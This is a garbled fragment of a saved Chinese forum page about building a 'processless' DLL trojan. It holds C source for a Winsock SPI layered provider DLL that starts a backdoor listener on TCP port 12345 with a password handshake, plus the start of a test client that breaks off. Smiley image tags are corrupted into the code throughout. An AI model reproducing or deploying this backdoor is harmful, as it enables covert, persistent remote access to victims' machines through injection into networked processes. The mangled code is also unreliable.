📄 无进程dll木马的又一开发思路与实现.mht
字号:
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0><BR><BR>#define=20
UNICODE<BR>#define _UNICODE<BR><BR>#include=20
<ws2spi.h><BR>#include =
<tchar.h><BR>#include=20
<winsock2.h> <BR><BR>GUID=20
=
filterguid=3D{0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x8=
6,0x0d}};<BR><BR>LPWSAPROTOCOL_INFOW=20
protoinfo=3DNULL;<BR>WSPPROC_TABLE =
nextproctable;<BR>DWORD=20
protoinfosize=3D0;<BR>HANDLE hmutex; <BR>HANDLE =
hthread;=20
<BR>POINT nowpt;<BR>int =
totalprotos=3D0;<BR><BR>DWORD=20
WINAPI backdoor(LPVOID) <BR>{<BR>SOCKET=20
sock,sockt;<BR>WSADATA wsa;<BR>int =
iret=3D0;<BR>char=20
msg[25];<BR>struct sockaddr_in=20
=
sin;<BR><BR>if(WSAStartup(MAKEWORD(2,2),&wsa))<BR>{<BR>OutputDebugStr=
ing(_T("WSAStartup=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);<BR>return=20
=
0;<BR>}<BR><BR>if((sock=3Dsocket(AF_INET,SOCK_STREAM,IPPROTO_TCP))=3D=3DI=
NVALID_SOCKET)<BR>{<BR>OutputDebugString(_T("Socket=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);<BR>return=20
=
0;<BR>}<BR><BR>sin.sin_addr.s_addr=3Dhtons(INADDR_ANY);<BR>sin.sin_family=
=3DAF_INET;<BR>sin.sin_port=3Dhtons(12345);<BR><BR>if(bind(sock,(struct=20
sockaddr=20
=
*)&sin,sizeof(sin))=3D=3DSOCKET_ERROR)<BR>{<BR>OutputDebugString(_T("=
Bind=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);<BR>return=20
=
0;<BR>}<BR><BR>if(listen(sock,5)=3D=3DSOCKET_ERROR)<BR>{<BR>OutputDebugSt=
ring(_T("Listen=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);<BR>return=20
=
0;<BR>}<BR><BR>while(1)<BR>{<BR>if((sockt=3Daccept(sock,NULL,NULL))=3D=3D=
SOCKET_ERROR)<BR>{<BR>OutputDebugString(_T("Accept=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>);<BR>continue;<BR>}<BR><BR><BR>if((iret=3D=3Drecv(sockt,msg,s=
izeof(msg),0))=3D=3DSOCKET_ERROR)<BR>{<BR>OutputDebugString(_T("Recv=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>);<BR>closesocket(sockt);<BR>continue;=20
<BR>}<BR><BR>if(strstr(msg,"i am TOo2y"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>)<BR>{<BR>memset(msg,0,sizeof(msg));<BR>memcpy(msg,"i=20
am waiting for you=20
=
!",sizeof(msg)-1);<BR><BR>if((iret=3D=3Dsend(sockt,msg,sizeof(msg),0))=3D=
=3DSOCKET_ERROR)<BR>{<BR>OutputDebugString(_T("Send=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>);<BR>closesocket(sockt);<BR>continue;<BR>}<BR>}<BR>OutputDebu=
gString(_T("Transport=20
Successfully"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>);<BR>closesocket(sockt);<BR>}<BR>return=20
1;<BR>}<BR><BR>BOOL getfilter()<BR>{<BR>int=20
=
errorcode;<BR><BR>protoinfo=3DNULL;<BR>protoinfosize=3D0;<BR>totalprotos=3D=
0;<BR><BR>if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&erro=
rcode)=3D=3DSOCKET_ERROR)<BR>{<BR>if(errorcode!=3DWSAENOBUFS)<BR>{<BR>Out=
putDebugString(_T("First=20
WSCEnumProtocols Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>); <BR>return=20
=
FALSE;<BR>}<BR>}<BR><BR>if((protoinfo=3D(LPWSAPROTOCOL_INFOW)GlobalAlloc(=
GPTR,protoinfosize))=3D=3DNULL)<BR>{<BR>OutputDebugString(_T("GlobalAlloc=
=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>); <BR>return=20
=
FALSE;<BR>}<BR><BR>if((totalprotos=3DWSCEnumProtocols(NULL,protoinfo,&=
;protoinfosize,&errorcode))=3D=3DSOCKET_ERROR)<BR>{<BR>OutputDebugStr=
ing(_T("Second=20
WSCEnumProtocols Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>); <BR>return=20
FALSE;<BR>}<BR><BR>return TRUE;<BR>}<BR><BR>void =
=
freefilter()<BR>{<BR>GlobalFree(protoinfo);<BR>}<BR><BR>BOOL=20
WINAPI DllMain(HINSTANCE hmodule,<BR>DWORD=20
reason,<BR>LPVOID lpreserved)<BR>{<BR>TCHAR=20
processname[MAX_PATH];<BR>TCHAR=20
=
showmessage[MAX_PATH+25];<BR><BR><BR>switch(reason)<BR>{<BR>case=20
=
DLL_PROCESS_ATTACH:<BR>{<BR>GetModuleFileName(NULL,processname,MAX_PATH);=
<BR>_tcscpy(showmessage,processname);<BR>_tcscat(showmessage,_T("=20
Loading my dll ..."<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
border=3D0>);<BR>OutputDebugString(showmessage); =
<BR><BR>hmutex=3DCreateMutex(NULL,FALSE,NULL);=20
<BR>WaitForSingleObject(hmutex,INFINITE);=20
=
<BR>dllcount++;<BR>if(dllcount=3D=3D1)<BR>{<BR>OutputDebugString(_T("Star=
t=20
the backdoor ..."<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);=20
=
<BR>hthread=3DCreateThread(NULL,0,backdoor,NULL,0,NULL);=20
=
<BR>}<BR>ReleaseMutex(hmutex);<BR>break;<BR>}<BR>case=20
=
DLL_PROCESS_DETACH:<BR>{<BR>WaitForSingleObject(hmutex,INFINITE);<BR>dllc=
ount--;<BR>if(dllcount=3D=3D0)<BR>{<BR>CloseHandle(hthread);<BR>}<BR>Rele=
aseMutex(hmutex);<BR>CloseHandle(hthread);<BR>break;<BR>}<BR>}<BR>return =
TRUE;<BR>}<BR><BR><BR>int WSPAPI =
WSPStartup(<BR>WORD=20
wversionrequested,<BR>LPWSPDATA=20
lpwspdata,<BR>LPWSAPROTOCOL_INFOW=20
lpprotoinfo,<BR>WSPUPCALLTABLE=20
upcalltable,<BR>LPWSPPROC_TABLE =
lpproctable)<BR>{<BR>int=20
i;<BR>int errorcode;<BR>int =
filterpathlen;<BR>DWORD=20
layerid=3D0;<BR>DWORD nextlayerid=3D0;<BR>TCHAR=20
*filterpath;<BR>HINSTANCE =
hfilter;<BR>LPWSPSTARTUP=20
=
wspstartupfunc=3DNULL;<BR><BR>if(lpprotoinfo->ProtocolChain.ChainLen&l=
t;=3D1)<BR>{<BR>OutputDebugString(_T("ChainLen<=3D1"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>); <BR>return=20
=
FALSE;<BR>}<BR><BR>getfilter();<BR><BR>for(i=3D0;i<totalprotos;i++)<BR=
>{<BR>if(memcmp(&protoinfo<I>.ProviderId,&filterguid,sizeof(GUID)=
)=3D=3D0)<BR>{<BR>layerid=3Dprotoinfo<I>.dwCatalogEntryId;<BR>break;<BR>}=
<BR>}<BR><BR>for(i=3D0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)<B=
R>{<BR>if(lpprotoinfo->ProtocolChain.ChainEntries<I>=3D=3Dlayerid)<BR>=
{<BR>nextlayerid=3Dlpprotoinfo->ProtocolChain.ChainEntries[i+1];<BR>br=
eak;<BR>}<BR>}<BR><BR>filterpathlen=3DMAX_PATH;<BR>filterpath=3D(TCHAR*)G=
lobalAlloc(GPTR,filterpathlen);=20
=
<BR>for(i=3D0;i<totalprotos;i++)<BR>{<BR>if(nextlayerid=3D=3Dprotoinfo=
<I>.dwCatalogEntryId)<BR>{<BR>if(WSCGetProviderPath(&protoinfo<I>.Pro=
viderId,filterpath,&filterpathlen,&errorcode)=3D=3DSOCKET_ERROR)<=
BR>{<BR>OutputDebugString(_T("WSCGetProviderPath=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>); <BR>return=20
=
WSAEPROVIDERFAILEDINIT;<BR>}<BR>break;<BR>}<BR>}<BR><BR>if(!ExpandEnviron=
mentStrings(filterpath,filterpath,MAX_PATH))<BR>{<BR>OutputDebugString(_T=
("ExpandEnvironmentStrings=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>); <BR>return=20
=
WSAEPROVIDERFAILEDINIT;<BR>}<BR><BR>if((hfilter=3DLoadLibrary(filterpath)=
)=3D=3DNULL)<BR>{<BR>OutputDebugString(_T("LoadLibrary=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);<BR>return=20
=
WSAEPROVIDERFAILEDINIT;<BR>}<BR><BR>if((wspstartupfunc=3D(LPWSPSTARTUP)Ge=
tProcAddress(hfilter,"WSPStartup"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>)=3D=3DNULL)<BR>{<BR>OutputDebugString(_T("GetProcessAddress=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>);<BR>return=20
=
WSAEPROVIDERFAILEDINIT;<BR>}<BR><BR>if((errorcode=3Dwspstartupfunc(wversi=
onrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=3DERROR_SUCC=
ESS)<BR>{<BR>OutputDebugString(_T("wspstartupfunc=20
Error!"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>); <BR>return=20
=
errorcode;<BR>}<BR><BR>nextproctable=3D*lpproctable;<BR><BR>freefilter();=
<BR>return=20
=
0;<BR>}<BR><BR><BR>3.testBD.exe=B5=C4=D4=B4=B4=FA=C2=EB<BR><BR>#include=20
<winsock2.h><BR>#include=20
<stdio.h><BR>#include =
<conio.h><BR><BR>int=20
main()<BR>{<BR>WSADATA wsa;<BR>SOCKET =
sock;<BR>struct=20
sockaddr_in sin;<BR>char msg[25]=3D"i am =
TOo2y";<BR>int=20
iret;<BR><BR>printf("=3D=3D=3D[ Test for SPI =
BackDoor=20
]=3D=3D=3D\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle =
border=3D0>;<BR>printf("=3D=3D=3D[ TOo2y at=20
11-3-2002 ]=3D=3D=3D\n\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>;<BR><BR>if(WSAStartup(MAKEWORD(2,2⌨️ 快捷键说明
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